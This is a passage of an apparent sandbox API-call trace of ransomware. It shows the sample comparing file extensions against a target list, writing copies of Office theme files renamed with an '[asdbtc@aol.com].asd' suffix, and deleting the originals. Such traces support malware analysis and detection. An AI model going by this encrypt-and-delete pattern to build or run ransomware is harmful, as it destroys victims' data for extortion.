(lpString=".pdf") returned 4 [0054.225] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.225] lstrlenW (lpString=".xls") returned 4 [0054.225] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.225] lstrlenW (lpString=".xlsx") returned 5 [0054.225] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.225] lstrlenW (lpString=".ppt") returned 4 [0054.225] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.225] lstrlenW (lpString=".zip") returned 4 [0054.225] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.225] lstrlenW (lpString=".rar") returned 4 [0054.225] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.225] lstrlenW (lpString=".bz2") returned 4 [0054.225] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.225] lstrlenW (lpString=".7z") returned 3 [0054.225] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.225] lstrlenW (lpString=".dbf") returned 4 [0054.225] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.225] lstrlenW (lpString=".1cd") returned 4 [0054.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0054.226] lstrlenW (lpString=".jpg") returned 4 [0054.226] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.226] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.226] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.226] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=32433) returned 1 [0054.226] CloseHandle (hObject=0x1f4) returned 1 [0054.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0054.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.226] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.227] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.227] GetLastError () returned 0x0 [0054.227] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0054.229] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0054.230] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.230] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.231] SetEndOfFile (hFile=0x20c) returned 1 [0054.231] CloseHandle (hObject=0x20c) returned 1 [0054.231] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.231] SetEndOfFile (hFile=0x1f4) returned 1 [0054.232] CloseHandle (hObject=0x1f4) returned 1 [0054.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.232] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0054.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.232] lstrlenW (lpString=".doc") returned 4 [0054.232] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.232] lstrlenW (lpString=".docx") returned 5 [0054.232] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.232] lstrlenW (lpString=".pdf") returned 4 [0054.232] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.232] lstrlenW (lpString=".xls") returned 4 [0054.232] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.233] lstrlenW (lpString=".xlsx") returned 5 [0054.233] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.233] lstrlenW (lpString=".ppt") returned 4 [0054.233] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.233] lstrlenW (lpString=".zip") returned 4 [0054.233] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.233] lstrlenW (lpString=".rar") returned 4 [0054.233] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.233] lstrlenW (lpString=".bz2") returned 4 [0054.233] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.233] lstrlenW (lpString=".7z") returned 3 [0054.233] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.233] lstrlenW (lpString=".dbf") returned 4 [0054.343] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.343] lstrlenW (lpString=".1cd") returned 4 [0054.343] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.343] lstrlenW (lpString=".jpg") returned 4 [0054.343] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.343] lstrlenW (lpString=".doc") returned 4 [0054.343] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.343] lstrlenW (lpString=".docx") returned 5 [0054.343] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.343] lstrlenW (lpString=".pdf") returned 4 [0054.343] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.343] lstrlenW (lpString=".xls") returned 4 [0054.343] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.343] lstrlenW (lpString=".xlsx") returned 5 [0054.343] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.343] lstrlenW (lpString=".ppt") returned 4 [0054.343] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.344] lstrlenW (lpString=".zip") returned 4 [0054.344] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.344] lstrlenW (lpString=".rar") returned 4 [0054.344] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.344] lstrlenW (lpString=".bz2") returned 4 [0054.344] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.344] lstrlenW (lpString=".7z") returned 3 [0054.344] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.344] lstrlenW (lpString=".dbf") returned 4 [0054.344] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.344] lstrlenW (lpString=".1cd") returned 4 [0054.344] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0054.344] lstrlenW (lpString=".jpg") returned 4 [0054.344] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.344] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.344] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.345] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2476) returned 1 [0054.345] CloseHandle (hObject=0x1dc) returned 1 [0054.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0054.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.345] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.346] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.498] GetLastError () returned 0x0 [0054.498] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x9ac, lpOverlapped=0x0) returned 1 [0054.508] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0054.509] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.509] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.509] SetEndOfFile (hFile=0x218) returned 1 [0054.509] CloseHandle (hObject=0x218) returned 1 [0054.509] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.509] SetEndOfFile (hFile=0x1dc) returned 1 [0054.510] CloseHandle (hObject=0x1dc) returned 1 [0054.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.510] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.510] lstrlenW (lpString=".doc") returned 4 [0054.510] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.510] lstrlenW (lpString=".docx") returned 5 [0054.510] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.511] lstrlenW (lpString=".pdf") returned 4 [0054.511] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.511] lstrlenW (lpString=".xls") returned 4 [0054.511] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.511] lstrlenW (lpString=".xlsx") returned 5 [0054.511] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.511] lstrlenW (lpString=".ppt") returned 4 [0054.511] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.511] lstrlenW (lpString=".zip") returned 4 [0054.511] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.511] lstrlenW (lpString=".rar") returned 4 [0054.511] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.511] lstrlenW (lpString=".bz2") returned 4 [0054.511] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.511] lstrlenW (lpString=".7z") returned 3 [0054.511] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.511] lstrlenW (lpString=".dbf") returned 4 [0054.511] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.511] lstrlenW (lpString=".1cd") returned 4 [0054.511] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.511] lstrlenW (lpString=".jpg") returned 4 [0054.511] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.511] lstrlenW (lpString=".doc") returned 4 [0054.511] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.511] lstrlenW (lpString=".docx") returned 5 [0054.511] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.512] lstrlenW (lpString=".pdf") returned 4 [0054.512] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.512] lstrlenW (lpString=".xls") returned 4 [0054.512] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.512] lstrlenW (lpString=".xlsx") returned 5 [0054.512] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.512] lstrlenW (lpString=".ppt") returned 4 [0054.512] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.512] lstrlenW (lpString=".zip") returned 4 [0054.512] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.512] lstrlenW (lpString=".rar") returned 4 [0054.512] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.512] lstrlenW (lpString=".bz2") returned 4 [0054.512] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.512] lstrlenW (lpString=".7z") returned 3 [0054.512] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.512] lstrlenW (lpString=".dbf") returned 4 [0054.512] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.512] lstrlenW (lpString=".1cd") returned 4 [0054.512] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0054.512] lstrlenW (lpString=".jpg") returned 4 [0054.512] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.512] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.512] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.514] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1364) returned 1 [0054.514] CloseHandle (hObject=0x1dc) returned 1 [0054.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0054.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.515] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.515] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.539] GetLastError () returned 0x0 [0054.539] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x554, lpOverlapped=0x0) returned 1 [0054.541] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x560, lpOverlapped=0x0) returned 1 [0054.542] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.542] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.542] SetEndOfFile (hFile=0x218) returned 1 [0054.542] CloseHandle (hObject=0x218) returned 1 [0054.543] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.543] SetEndOfFile (hFile=0x1dc) returned 1 [0054.543] CloseHandle (hObject=0x1dc) returned 1 [0054.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.544] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0054.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.544] lstrlenW (lpString=".doc") returned 4 [0054.544] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.544] lstrlenW (lpString=".docx") returned 5 [0054.544] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.544] lstrlenW (lpString=".pdf") returned 4 [0054.544] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.544] lstrlenW (lpString=".xls") returned 4 [0054.544] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.544] lstrlenW (lpString=".xlsx") returned 5 [0054.544] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.544] lstrlenW (lpString=".ppt") returned 4 [0054.544] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.544] lstrlenW (lpString=".zip") returned 4 [0054.544] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.544] lstrlenW (lpString=".rar") returned 4 [0054.544] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.544] lstrlenW (lpString=".bz2") returned 4 [0054.544] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.544] lstrlenW (lpString=".7z") returned 3 [0054.544] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.545] lstrlenW (lpString=".dbf") returned 4 [0054.545] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.545] lstrlenW (lpString=".1cd") returned 4 [0054.545] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.545] lstrlenW (lpString=".jpg") returned 4 [0054.545] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.545] lstrlenW (lpString=".doc") returned 4 [0054.545] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.545] lstrlenW (lpString=".docx") returned 5 [0054.545] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.545] lstrlenW 